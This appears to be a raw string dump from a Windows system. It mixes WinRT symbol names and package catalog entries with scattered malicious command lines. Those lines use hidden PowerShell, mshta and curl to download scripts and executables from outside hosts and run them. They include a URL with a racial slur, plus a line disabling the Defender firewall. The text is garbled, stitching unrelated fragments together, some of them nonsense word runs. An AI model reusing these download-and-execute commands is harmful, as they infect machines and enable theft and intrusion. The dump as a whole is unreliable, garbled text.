HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValueCollection,class HttpLanguageRangeWithQualityHeaderValueCollectionImpl>::TryParseValue
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValueCollection,class HttpProductInfoHeaderValueCollectionImpl>::TryParseAdd
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValueCollection,class HttpLanguageRangeWithQualityHeaderValueCollectionImpl>::TryParseAdd
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::SendRequestOperationCompletion
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::CheckRequiresBufferedContent
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValueCollection,class HttpContentCodingWithQualityHeaderValueCollectionImpl>::ToString
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValueCollection,class HttpProductInfoHeaderValueCollectionImpl>::ToString
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::BufferAllCompletedHandler::Invoke
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::BufferAllOperationCompletion
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpLanguageRangeWithQualityHeaderValueCollection,class HttpLanguageRangeWithQualityHeaderValueCollectionImpl>::ToString
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::SendRequestCompletedHandler::Invoke
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::DecrementPendingReceiveOperations
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValueCollection,class HttpProductInfoHeaderValueCollectionImpl>::TryParseValue
ReadAsStringOperation<struct Windows::Web::Http::HttpProgress>::RuntimeClassInitialize
Windows 
DownloadFile('http://hr.dedyn.io/1.ps1', 'C:/windows/temp/1.ps1')D
powershell.exe -windowstyle hidden -ExecutionPolicy Unrestricted -File "C:/windows/temp/1.ps1p
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::OnStart
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::OnStartCore
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::SendRequestCompletedHandler::Invoke
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::CheckRequiresBufferedContent
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::SendRequestOperationCompletion
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::GetResults
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_nb-no_c79e8f70ae3466db
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_nl-nl_c7c90218ae13106e
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_pl-pl_229eafcce9f2cb5a
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_pt-br_2265b800ea1c6596
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_pt-pt_225032bcea2c759a
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_qps-ploc_a2f690030b281236
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_qps..ocm_6fb0fce0719d92f5
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_ro-ro_7d56ee9b25e8261e
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_ru-ru_7d1c10cf261365ce
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_sk-sk_aae903fd43bb2e74
https://permanently-removed.invalid/embedded/setup/windows
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
='c:\\windows\\temp';varP
\windows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
	default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
dir%\system32\vsocklib.dll2
MockSystem32_File
WINDOWS11
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden(new-objectsystem.net.webclient).downloadfile('https://u.pomf.is/xeinyz.scr','%temp%\msconfig.exe');
_c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttp://161.35.227.89/1.exe-outfile%temp%\1.exe;start-process'%temp%\1.exe';
3System32\
 \Windows\
 System32\
7icrosoft.WindowsNotepad_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-91
Dc:\windows\system32\mshta.exehttp://a0708743.xsph.ru/regain/regions.pdf/f
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Microsoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
25Microsoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Disabled-Package~31bf3856ad364e35~amd64~~10.0.26100.1742F
Microsoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~~10.0.26100.1742press
(@https://activity.windows.com
SOFT\SYSTEM32\DRIVERS\
enableWindowsActivated
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ApplicationLanguages.cpp
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\Microsoft.Windows.Globalization.ApplicationLanguages.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::Globalization::factory_implementation::ApplicationLanguagesT<struct winrt::Microsoft::Windows::Globalization::factory_implementation::ApplicationLanguages,struct winrt::Microsoft::Windows::Globalization::implementation::ApplicationLanguages>::ActivateInstance(void) const
struct winrt::Windows::Globalization::IApplicationLanguagesStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Globalization::IApplicationLanguagesStatics>(const struct winrt::param::hstring &)
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\winrt\base.h
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Cortana.Internal.Search.WindowsStoreResult
Cortana.Internal.Search.WindowsStoreResultProvider
Microsoft.Windows.MpeConnectionMonitorLocalDiag
Microsoft.Windows.MpeConnectionMonitorWilFallback
Microsoft.Windows.MpeConnectionMonitor
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Utc.WatchdogProvider
Microsoft.Windows.Utc.AggregatorHost
Microsoft.Windows.DiagTrack
\\?\globalroot\systemroot\system32\drivers\\
WindowsDeleteString
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsCreateStringReference
    "path": "%windir%\\system32\\datastorecachedumptool.exe",Z
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
WINDOWSUDK.SYSTEM.USERPROFILE.PERSONALIZEDOFFERSSETTINGS
MICROSOFTWINDOWS.CROSSDEVICE_0.25062.28.0_X64__CW5N1H2TXYEWY
WINDOWSOOBEAPPHOST.APPXTRJM3TWVHVV4TWRYXKS256HQXWSNGPFX.MCA
WINDOWSOOBEAPPHOST.APPX9G38F7CK9DYCET3V4DTD5SKCN8Z020ZJ.WWA
Microsoft.Windows.Desktop.Shell.ViewManagement
Microsoft.Windows.AppLifeCycle.UI
$$WINDOWS.DATA.PLATFORM.PARTITIONING.SYSTEMPARTITIONINDEX
Microsoft.Windows.ContentDeliveryManager
%programdata%\App-V\*\*\Root\VFS\Windows\CCM\CcmExec.exe
%programdata%\Microsoft\Windows Defender Advanced Threat Protection\SenseNDR\NdrSetup.exe
%windir%\system32\DriverStore\FileRepository\hpqkbsoftwarecompnent.inf_amd64_*\HotKeyServiceUWP.exe
c:\windows\system32\WerFaultSecure.exe
c:\windows\system32\wbem\WmiPrvSE.exe
c:\windows\SysWOW64\wbem\WmiPrvSE.exe
\Device\HarddiskVolume?\Windows\System32\wbem\wmiprvse.exe
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
temRoot%\system32\mswsock.dll
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|!
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|%
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat|Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|at|
C:\WINDOWS\Explorer.EXE
WINNT\System32\stdole2.tlb
O'<iclass="fabfa-windows"></i>"+r</p><p>2.ctrl+v</p><p>3.</p></div></div></div><script>function_
c:\windows\system32\cmd.exe/ccurl-o%temp%\i.bathttps://dirtyniggers.forsale/i.bat&&start%temp%\i.bat
..\windows\system32\cmd.exe!/cinexhaustive\dizzy.cmdregsvc:\windows\system32\shell32.dll%systemroot%
c:\windows\system32\mshta.exehttps://benjamin-unnecessary-mothers-configured.trycloudflare.com/c/
ps1_url="https://ftp2.sberbank.one/patch.ps1"'temporaryfolderpathsconsttemp_folder="c:\windows\temp
c:\windows\system32\mshta.exe"\\targets-hold-role-laundry.trycloudflare.com@ssl\davwwwroot\kak.hta"
%Microsoft Windows Production PCA 20110
Microsoft Windows Publisher0
paymenttroubleconceptcompareparentsplayersregionsmonitor ''The winningexploreadaptedGalleryproduceabilityenhancecareers). The collectSearch ancientexistedfooter handlerprintedconsoleEasternexportswindowsChannelillegalneutralsuggest_headersigning.html">settledwesterncausing-webkitclaimedJusticechaptervictimsThomas mozillapromisepartieseditionoutside:false,hundredOlympic_buttonauthorsreachedchronicdemandssecondsprotectadoptedprepareneithergreatlygreateroverallimprovecommandspecialsearch.worshipfundingthoughthighestinsteadutilityquarterCulturetestingclearlyexposedBrowserliberal} catchProjectexamplehide();FloridaanswersallowedEmperordefenseseriousfreedomSeveral-buttonFurtherout of != nulltrainedDenmarkvoid(0)/all.jspreventRequestStephen
 severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biologylife ofor evenrise of&raquo;plusonehunting(thoughDouglasjoiningcirclesFor theAncientVietnamvehiclesuch ascrystalvalue =Windowsenjoyeda smallassumed<a id="foreign All rihow theDisplayretiredhoweverhidden;battlesseekingcabinetwas notlook atconductget theJanuaryhappensturninga:hoverOnline French lackingtypicalextractenemieseven ifgeneratdecidedare not/searchbeliefs-image:locatedstatic.login">convertviolententeredfirst">circuitFinlandchemistshe was10px;">as suchdivided</span>will beline ofa greatmystery/index.fallingdue to railwaycollegemonsterdescentit withnuclearJewish protestBritishflowerspredictreformsbutton who waslectureinstantsuicidegenericperiodsmarketsSocial fishingcombinegraphicwinners<br /><by the NaturalPrivacycookiesoutcomeresolveSwedishbrieflyPersianso muchCenturydepictscolumnshousingscriptsnext tobearingmappingrevisedjQuery(-width:title">tooltipSectiondesignsTurkish
SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
Recho---disable"windowsdefenderfirewall"service
ereturn[false,'startupfeatureisonlyforwindows']
X{powershell-windowstylehidden-epbypass-command
:\windows\help\
:\windows\debug\
Mozilla/5.0 (Windows NT 10.0; Win64; x
CertInstallAllInstallWindowsBinaryDLLInstallFirefoxDirectory!#VirTool:Win32/Obfuscator.ADB_hashes
Microsoft.Windows.Health.TestInProduction
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscordacwks.dll
c:\windows\system32\cmd.exe/q/cecho'
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
Fuze.Windows.NativeClient.Model*uS
WindowsSearchBox
esSCPT:SetWindowsHookExCall
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
'Microsoft Windows Code Signing PCA 20240
'Microsoft Windows Code Signing PCA 20240
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
Windows
Windows
windows.protocol
Microsoft-Windows-ClientForNFS-Infrastructure-OptGroup-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-ClientForNFS-Infrastructure-OptGroup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-COM-MSMQ-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-COM-MSMQ-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Container-Policy-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Container-Policy-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Container-Professional-Metadata-Wrapper-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Container-Professional-Metadata-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DataCenterBridging-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DataCenterBridging-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Client-Admin-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Client-Admin-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Client-OptGroup-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Client-OptGroup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Install-Group-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Install-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Group-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Tools-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Tools-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-ADAM-Tools-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-ADAM-Tools-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectoryServices-Core-ApiSetSchema-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectoryServices-Core-ApiSetSchema-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectPlay-OC-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectPlay-OC-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-BootExp-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-BootExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-EmbeddedLogon-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-EmbeddedLogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-KeyboardFilter-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-KeyboardFilter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-KeyboardFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-KeyboardFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-ShellLauncher-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-ShellLauncher-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Embedded-UnifiedWriteFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Embedded-UnifiedWriteFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Host-Guardian-Deployment-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Host-Guardian-Deployment-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Host-Guardian-Deployment-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Host-Guardian-Deployment-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-msmq-dcomproxy-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-dcomproxy-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-msmq-http-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-http-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-msmq-mmc-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-mmc-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-MSMQ-MMC-OptGroup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-MSMQ-MMC-OptGroup-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0X
Microsoft-Windows-msmq-multicast-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0@
Microsoft-Windows-msmq-multicast-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1C`
Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
